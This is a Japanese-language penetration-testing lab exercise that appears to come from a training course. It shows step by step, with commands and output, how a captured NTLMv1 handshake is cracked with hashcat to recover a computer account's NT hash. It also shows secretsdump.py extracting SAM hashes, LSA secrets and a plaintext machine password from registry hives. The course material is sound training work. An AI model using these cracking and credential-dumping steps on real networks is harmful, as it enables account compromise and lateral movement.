ボーナスラボ: NTLMv1ハンドシェイクをNTハッシュにクラッキング
オフライン演習
接続性: これはオフライン演習です。この演習ではターゲットネットワークに接続する必要はありません。
目的
- NTLMv1プロトコル、DES暗号化の使用方法、NTLMv1接続のキャプチャ方法を理解する
- DESクラッキング技術を使用して、キャプチャしたNTLMv1ハンドシェイクから元のNTハッシュを取得する
ラボのセットアップ
使用するVM:
- Linux
このラボでは、キャプチャしたNTLMv1ハンドシェイクからDESをクラッキングして、パスワード自体の複雑さに*関係なく*元のNTハッシュを取得するプロセスを説明します。
通常、NTLMv1(またはNTLMv2)ハッシュのクラッキングについて議論する際、クラッキングツールは基本的にパスワードを推測し、それらのNTハッシュを作成し、キャプチャしたサーバー発行のチャレンジを処理してから、キャプチャしたクライアントレスポンスと比較します。代わりに、NTLMv1は56ビットキーのDES暗号化を使用するため、DES暗号化されたクライアントレスポンスをクラッキングすることで、元のクライアントNTハッシュを導出でき、それをPass-the-Hash技術を使用して渡すことができます。
通常、これはかなり複雑な手順です。DESのクラッキングには約72兆(2^56)のDES操作が必要になるためです。驚くべきことに、今日のGPUクラッキング速度(単一のRTX 4090は約1秒あたり1460億ハッシュを計算できます)と、Vast.AIなどの利用可能なクラウドリソースを使用すれば、キャプチャしたNTLMv1接続からNTハッシュをクラッキングするのに平均約30米ドルのコストがかかることを意味します。
このラボの目的のため、著者はDESキーの最初の数文字を提供しており、妥当な時間枠でCPUベースのパスワードクラッキングでより速くクラッキングできるようにしています。
ラボ – ステップバイステップの手順
1: NTLMv1ハンドシェイクのキャプチャ
アウトバウンドNTLMv1接続を許可するには、LmCompatibilityLevelを2以下に設定する必要がありますが、これはサポートされているWindowsのどのバージョンでもデフォルトではありません。ただし、古いオペレーティングシステム(または非WindowsのSMBクライアント)との互換性を維持している一部の環境では、一部のサーバーがNTLMv1接続を許可するように構成されている可能性があります。
これらの環境では、認証を強制する任意の方法(リモートマシンを騙して攻撃者が制御するマシンに接続させる)が、認証に使用されるアカウントの侵害につながる可能性があります。多くのネットワーク接続では、Windowsコンピューターはドメインコンピューターアカウントを使用します。たとえば、このラボでは、file01
コンピューターが制限されたユーザーとして認証されたCoercerのターゲットとなり、これによりfile01
がそのドメインコンピューターアカウント(FILE01$
)を使用して著者のVMに接続するようになりました。著者のVMはResponderを実行してNTLMv1ハンドシェイクをキャプチャしていましたが、これには--lm
オプションが必要です。
キャプチャされたNTLMv1ハンドシェイクについてResponder
ログを確認します:
コマンド
cat ~sec560/labs/ntlmv1-capture.txt
想定される結果
sec560@560vm:~$ cat ~sec560/labs/ntlmv1-capture.txt
FILE01$::HIBOXY:29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9:29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9:ea1ebed2adc2b0ce
この出力は提供されていますが、これはResponderが使用するのと同じ形式です。元のファイル名とパスは/pentest/exploitation/responder/logs/SMB-NTLMv1-10.130.10.44.txt
のようになります。
2: ハンドシェイクから情報を抽出
次に、EvilMogのリポジトリであるntlmv1-multiのntlmv1.py
を使用して、キャプチャしたNTLMv1ハンドシェイクの関連部分を抽出します:
コマンド
ntlmv1.py
想定される結果
sec560@560vm:~$ ntlmv1.py
usage: ntlmv1.py [-h] --ntlmv1 NTLMV1 [--hashcat HASHCAT] [--hcutils HCUTILS]
[--json JSON]
ntlmv1.py: error: the following arguments are required: --ntlmv1
--ntlmv1
オプションは、ResponderからキャプチャしたNTLMv1ハンドシェイクと同じ形式を使用するため、前のステップの出力を--ntlmv1
オプションにコピー&ペーストできます:
コマンド
ntlmv1.py --ntlmv1 'FILE01$::HIBOXY:29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9:29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9:ea1ebed2adc2b0ce'
想定される結果
sec560@560vm:~$ ntlmv1.py --ntlmv1 'FILE01$::HIBOXY:29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9:29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9:ea1ebed2adc2b0ce'
Hashfield Split:
['FILE01$', '', 'HIBOXY', '29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9', '29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9', 'ea1ebed2adc2b0ce']
Hostname: HIBOXY
Username: FILE01$
Challenge: ea1ebed2adc2b0ce
LM Response: 29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9
NT Response: 29F6C0D455D0C29851D5E8217DF9CDFD88FCC6ED4E84C0E9
CT1: 29F6C0D455D0C298
CT2: 51D5E8217DF9CDFD
CT3: 88FCC6ED4E84C0E9
To Calculate final 4 characters of NTLM hash use:
./ct3_to_ntlm.bin 88FCC6ED4E84C0E9 ea1ebed2adc2b0ce
To crack with hashcat create a file with the following contents:
29F6C0D455D0C298:ea1ebed2adc2b0ce
51D5E8217DF9CDFD:ea1ebed2adc2b0ce
echo "29F6C0D455D0C298:ea1ebed2adc2b0ce">>14000.hash
echo "51D5E8217DF9CDFD:ea1ebed2adc2b0ce">>14000.hash
To crack with hashcat:
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset 14000.hash ?1?1?1?1?1?1?1?1
ct3_to_ntlm
バイナリはHashcatの追加ユーティリティの一部です。まずはそれから始めましょう:
コマンド
export third=$(ct3_to_ntlm 88FCC6ED4E84C0E9 ea1ebed2adc2b0ce)
echo $third
想定される結果
sec560@560vm:~$ export third=$(ct3_to_ntlm 88FCC6ED4E84C0E9 ea1ebed2adc2b0ce)
sec560@560vm:~$ echo $third
c701
次に、Hashcat用のハッシュファイルをセットアップしましょう:
コマンド
echo "29F6C0D455D0C298:ea1ebed2adc2b0ce">>14000.hash
echo "51D5E8217DF9CDFD:ea1ebed2adc2b0ce">>14000.hash
想定される結果
これらのコマンドには出力がありません。
3: Hashcatを使用したDESのクラッキング
次に、Hashcatを使用して、キャプチャしたNTLMv1ハンドシェイクからDESキーをクラッキングします。
ここでは、通常必要とされる完全な?1?1?1?1?1?1?1?1
(8バイト)の代わりに、実際のバイト(16進エンコーディング)を指定することで、暗号化されたDESチャレンジ部分のそれぞれから最初の5バイトを提供しました。
まず、最初の完全なチャレンジをクラッキングしましょう:
コマンド
hashcat -m 14000 -a 3 -1 /pentest/password-recovery/hashcat/charsets/DES_full.hcchr --hex-charset 14000.hash 736bdf04c1?1?1?1
想定される結果
sec560@560vm:~$ hashcat -m 14000 -a 3 -1 /pentest/password-recovery/hashcat/charsets/DES_full.hcchr --hex-charset 14000.hash 736bdf04c1?1?1?1
hashcat (v6.2.4) starting
[...trimmed for brevity...]
29f6c0d455d0c298:ea1ebed2adc2b0ce:$HEX[736bdf04c12fa81f]
Approaching final keyspace - workload adjusted.
Session..........: hashcat
Status...........: Exhausted
[...trimmed for brevity...]
上記で、HashcatがDESキーの前半(バイト1-8)を736bdf04c12fa81f
としてクラッキングしました。
次に、2番目のチャレンジをクラッキングしましょう:
コマンド
hashcat -m 14000 -a 3 -1 /pentest/password-recovery/hashcat/charsets/DES_full.hcchr --hex-charset 14000.hash 6bbf9eec2c?1?1?1
想定される結果
sec560@560vm:~$ hashcat -m 14000 -a 3 -1 /pentest/password-recovery/hashcat/charsets/DES_full.hcchr --hex-charset 14000.hash 6bbf9eec2c?1?1?1
hashcat (v6.2.4) starting
[...trimmed for brevity...]
51d5e8217df9cdfd:ea1ebed2adc2b0ce:$HEX[6bbf9eec2cbf3897]
Session..........: hashcat
Status...........: Cracked
[...trimmed for brevity...]
このコマンドは数分で完了し、元のNTハッシュを再構築するために必要な最後のピースを提供します。
4: DESキーの抽出
HashcatのpotfileからDESキーを抽出します。
コマンド
cat /pentest/password-recovery/hashcat/hashcat.potfile
想定される結果
29f6c0d455d0c298:ea1ebed2adc2b0ce:$HEX[736bdf04c12fa81f]
51d5e8217df9cdfd:ea1ebed2adc2b0ce:$HEX[6bbf9eec2cbf3897]
NTLMv1操作からDESキーをクラッキングしましたが、これらをFILE01$
コンピューターアカウントのNTハッシュに変換する必要があります。
5: DESキーをNTハッシュコンポーネントに変換
提供されたPerlスクリプトを使用して、抽出したDESキーをNTハッシュコンポーネントに変換します。
コマンド
deskey_to_ntlm
deskey_to_ntlm 736bdf04c12fa81f
deskey_to_ntlm 6bbf9eec2cbf3897
想定される結果
sec560@560vm:~$ deskey_to_ntlm
usage: /usr/local/bin/deskey_to_ntlm 8-byte-key-in-hex
sec560@560vm:~$ deskey_to_ntlm 736bdf04c12fa81f
72d7782c05ea0f
sec560@560vm:~$ deskey_to_ntlm 6bbf9eec2cbf3897
6b7e7f62d7ce4b
NTLMv1トランザクションは3つのDES操作を使用するため、完全なNTハッシュを取得するには、これら3つのコンポーネントを組み合わせる必要があります。最初の2つのコンポーネントは、以前に実行したhashcat
コマンドの出力ですが、3番目のコンポーネントはct3_to_ntlm
バイナリを使用して直接計算されました(より短く、計算が簡単なため)。
6: NTLMハッシュコンポーネントの結合
ct3_to_ntlmバイナリからの最後の4文字を使用して、NTLMハッシュコンポーネントを結合します。
コマンド
ct3_to_ntlm 88FCC6ED4E84C0E9 ea1ebed2adc2b0ce
想定される結果
c701
次に、クラッキングされたハッシュの各部分を組み合わせて、完全なNTハッシュを取得します:
コマンド
export first=72d7782c05ea0f # Output from deskey_to_ntlm 736bdf04c12fa81f
export second=6b7e7f62d7ce4b # Output from deskey_to_ntlm 6bbf9eec2cbf3897
export third=c701 # Output from ct3_to_ntlm 88FCC6ED4E84C0E9 ea1ebed2adc2b0ce
echo "NT hash of FILE01$ is: $first$second$third"
想定される結果
sec560@560vm:~$ export first=72d7782c05ea0f # Output from deskey_to_ntlm 736bdf04c12fa81f
sec560@560vm:~$ export second=6b7e7f62d7ce4b # Output from deskey_to_ntlm 6bbf9eec2cbf3897
sec560@560vm:~$ export third=c701 # Output from ct3_to_ntlm 88FCC6ED4E84C0E9 ea1ebed2adc2b0ce
sec560@560vm:~$ echo "NT hash of FILE01$ is: $first$second$third"
NT hash of FILE01$ is: 72d7782c05ea0f6b7e7f62d7ce4bc701
7: NTハッシュの検証
Impacketのsecretsdump.pyを使用して、キャプチャしたハイブファイルからハッシュをダンプすることで、抽出したNTハッシュを検証します。
コマンド
secretsdump.py -security ~sec560/labs/file01.hiboxy.com-SECURITY.hive -sam ~sec560/labs/file01.hiboxy.com-SAM.hive -system ~sec560/labs/file01.hiboxy.com-SYSTEM.hive LOCAL
想定される結果
sec560@560vm:~$ secretsdump.py -security ~sec560/labs/file01.hiboxy.com-SECURITY.hive -sam ~sec560/labs/file01.hiboxy.com-SAM.hive -system ~sec560/labs/file01.hiboxy.com-SYSTEM.hive LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x8b5a73d4c81546f8fd3a94c893dd222a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:44f08ff42ab20d0d60a30a760e8850f4:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:58f8e0214224aebc2c5f82fb7cb47ca1:::
SROCAdmin:1008:aad3b435b51404eeaad3b435b51404ee:2e920723943f81ec0af0fd735f737fef:::
[*] Dumping cached domain logon information (domain/username:hash)
HIBOXY.COM/Administrator:$DCC2$10240#Administrator#bf75fef06b803e58b87c815d80af2c91: (2024-08-07 13:28:57)
[*] Dumping LSA Secrets
[*] $MACHINE.ACC
$MACHINE.ACC:plain_password_hex:410065003000640047005800570065006e004b007a0079002300630071002a004700500023005d00290041002300340038005d0050002800520055004600380047005000710061003c006a003b005f006a0046003d003200520056004b0028003600560076003a00340031002a005f0031006c004200200069002500200078006c003900790059003d003800700060004e0063003d00560037003600220055005a005a004500550077004b00460052003700300029002f006300340054007a003300220053006600260058003b0052002f007a00370072005d002f0036006100270046002e006200240036002d002300
$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:72d7782c05ea0f6b7e7f62d7ce4bc701
[*] DPAPI_SYSTEM
dpapi_machinekey:0x3e4a36f108edebdb5b87327abdb0cd8154fbbc89
dpapi_userkey:0xa67e9a084c831e64e163dc62ce75a65c0d2163b0
[*] NL$KM
0000 8D D2 8E 67 54 58 89 B1 C9 53 B9 5B 46 A2 B3 66 ...gTX...S.[F..f
0010 D4 3B 95 80 92 7D 67 78 B7 1D F9 2D A5 55 B7 A3 .;...}gx...-.U..
0020 61 AA 4D 86 95 85 43 86 E3 12 9E C4 91 CF 9A 5B a.M...C........[
0030 D8 BB 0D AE FA D3 41 E0 D8 66 3D 19 75 A2 D1 B2 ......A..f=.u...
NL$KM:8dd28e67545889b1c953b95b46a2b366d43b9580927d6778b71df92da555b7a361aa4d8695854386e3129ec491cf9a5bd8bb0daefad341e0d8663d1975a2d1b2
[*] Cleaning up...
出力に、抽出したNTハッシュと一致するNTハッシュが表示されるはずです: 72d7782c05ea0f6b7e7f62d7ce4bc701
。
実際、FILE01$
の16進エンコードされた平文パスワードもその出力に含まれています。
パスワードをデコードしましょう:
コマンド
echo -n 410065003000640047005800570065006e004b007a0079002300630071002a004700500023005d00290041002300340038005d0050002800520055004600380047005000710061003c006a003b005f006a0046003d003200520056004b0028003600560076003a00340031002a005f0031006c004200200069002500200078006c003900790059003d003800700060004e0063003d00560037003600220055005a005a004500550077004b00460052003700300029002f006300340054007a003300220053006600260058003b0052002f007a00370072005d002f0036006100270046002e006200240036002d002300 | xxd -r -p | openssl dgst -md4 2>/dev/null
echo -n "The plain text password for FILE01 is: "; echo -n 410065003000640047005800570065006e004b007a0079002300630071002a004700500023005d00290041002300340038005d0050002800520055004600380047005000710061003c006a003b005f006a0046003d003200520056004b0028003600560076003a00340031002a005f0031006c004200200069002500200078006c003900790059003d003800700060004e0063003d00560037003600220055005a005a004500550077004b00460052003700300029002f006300340054007a003300220053006600260058003b0052002f007a00370072005d002f0036006100270046002e006200240036002d002300 | xxd -r -p; echo
想定される結果
sec560@560vm:~$ echo -n 410065003000640047005800570065006e004b007a0079002300630071002a004700500023005d00290041002300340038005d0050002800520055004600380047005000710061003c006a003b005f006a0046003d003200520056004b0028003600560076003a00340031002a005f0031006c004200200069002500200078006c003900790059003d003800700060004e0063003d00560037003600220055005a005a004500550077004b00460052003700300029002f006300340054007a003300220053006600260058003b0052002f007a00370072005d002f0036006100270046002e006200240036002d002300 | xxd -r -p | openssl dgst -md4 2>/dev/null
sec560@560vm:~$ echo -n "The plain text password for FILE01 is: "; echo -n 410065003000640047005800570065006e004b007a0079002300630071002a004700500023005d00290041002300340038005d0050002800520055004600380047005000710061003c006a003b005f006a0046003d003200520056004b0028003600560076003a00340031002a005f0031006c004200200069002500200078006c003900790059003d003800700060004e0063003d00560037003600220055005a005a004500550077004b00460052003700300029002f006300340054007a003300220053006600260058003b0052002f007a00370072005d002f0036006100270046002e006200240036002d002300 | xxd -r -p; echo
The plain text password for FILE01 is: Ae0dGXWenKzy#cq*GP#])A#48]P(RUF8GPqa<j;_jF=2RVK(6Vv:41*_1lB i% xl9yY=8p`Nc=V76"UZZEUwKFR70)/c4Tz3"Sf&X;R/z7r]/6a'F.b$6-#
コンピューターアカウントはドメインアカウントです。それらには関連するパスワードハッシュがありますが、実際のパスワードもあり、レジストリ内で取得可能な形式で保存されています。これがsecretsdump
出力でパスワードが利用可能な理由です。
まとめ
このラボでは、NTLMv1ハンドシェイクのキャプチャ、関連コンポーネントの抽出、DESキーのクラッキングによる元のNTハッシュの取得のプロセスを説明しました。これにより、NTLMv1の脆弱性と、より安全な認証メカニズムを使用することの重要性が示されました。
キャプチャされたNTLMv2ハンドシェイクはまだ問題ですが、NTLMv1ほど壊滅的ではありません。今日のGPUクラッキング速度では、NTLMv1はパスワード自体で認証することとますます類似しています。